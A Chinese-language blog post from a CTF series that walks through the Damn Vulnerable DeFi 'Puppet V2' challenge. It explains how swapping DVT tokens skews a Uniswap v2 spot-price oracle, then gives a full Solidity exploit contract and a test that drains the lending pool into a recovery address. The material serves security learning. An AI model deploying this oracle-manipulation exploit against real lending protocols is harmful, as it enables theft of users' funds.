iT邦幫忙

2024 iThome 鐵人賽

DAY 12
0

突然發現,如果我全部都是寫這個 CTF 的話,我只能寫到第 21 天,那至於剩下的 9 天,我買了一些神奇妙妙工具來玩,好駭客是否可以轉職成為見習黑魔法師呢,各位可以盡請期待~

The developers of the previous pool seem to have learned the lesson. And released a new version.

Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. Shouldn’t that be enough?

You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance at risk!

Save all funds from the pool, depositing them into the designated recovery account.

Analyze WTF

這一題的作者改用了 Uniswap v2 作為價格預言機,基本上跟上題的機制沒有什麼區別,只是借貸的倍率從上一題的兩倍變成了三倍

至於漏洞的部分則是一樣跟 Pair 合約的餘額比值有關,所以我們可以通過相同的手法來操控價格,成為職業操盤手

上一題的合約在這裡

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
    uint256 depositFactor = 3;
    return _getOracleQuote(tokenAmount) * depositFactor / 1 ether;
}

    // Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
    (uint256 reservesWETH, uint256 reservesToken) =
        UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});

    return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}

兩邊基本上就差了一個 Oracle function,但是概念不變,只是我們從直接修改價格變成兌換貨幣導致 DVT 價格變低,沒錯又是通貨膨脹

Solve WTF

懶得說明了,上面都講完了(癱

contract PuppetV2Exploit {
    uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
    uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;

    WETH weth;
    DamnValuableToken token;
    IUniswapV2Router02 uniswapV2Router;
    PuppetV2Pool lendingPool;
    address recovery;

    constructor(
        WETH _weth,
        DamnValuableToken _token,
        IUniswapV2Router02 _uniswapV2Router,
        PuppetV2Pool _lendingPool,
        address _recovery
    ) payable {
        weth = _weth;
        token = _token;
        uniswapV2Router = _uniswapV2Router;
        lendingPool = _lendingPool;
        recovery = _recovery;

        // 授權 Uniswap 使用玩家初始的全部 DVT 代幣
        token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
    }

    function attack() external {
        address[] memory path = new address[](2);
        path[0] = address(token);
        path[1] = address(weth);

        // 使用玩家初始的 DVT 代幣換取 ETH,沒有最低的接受 ETH 數量
        uniswapV2Router.swapExactTokensForETH(
            PLAYER_INITIAL_TOKEN_BALANCE,
            0,
            path,
            address(this),
            block.timestamp
        );

        // 計算借出全部代幣所需的 WETH 數量
        uint256 ethRequired = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
        require(address(this).balance >= ethRequired, "Insufficient ETH balance");

        // 存入所需的 ETH 並將其轉換為 WETH
        weth.deposit{value: ethRequired}();

        // 授權借貸池使用存入的 WETH
        weth.approve(address(lendingPool), ethRequired);

        // 從借貸池中借出全部的 DVT 代幣
        lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);

        // 將借出的 DVT 代幣轉移至指定的恢復地址
        token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
    }

    // 接收 ETH 的回調函數
    receive() external payable {}
}
function test_puppetV2() public checkSolvedByPlayer {
    PuppetV2Exploit puppetV2Exploit = new PuppetV2Exploit{value: PLAYER_INITIAL_ETH_BALANCE}(weth, token, uniswapV2Router, lendingPool, recovery);
    token.transfer(address(puppetV2Exploit), PLAYER_INITIAL_TOKEN_BALANCE);
    puppetV2Exploit.attack();
}

https://ithelp.ithome.com.tw/upload/images/20240926/20163009rmJzjlReTN.png

每日梗圖(1/1)
https://ithelp.ithome.com.tw/upload/images/20240926/20163009C3EXCrG2oI.jpg


上一篇
Day 11 - Puppet_木偶
下一篇
Day 13 - Free Rider_Youbike
系列文
我也想成爲好駭客30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言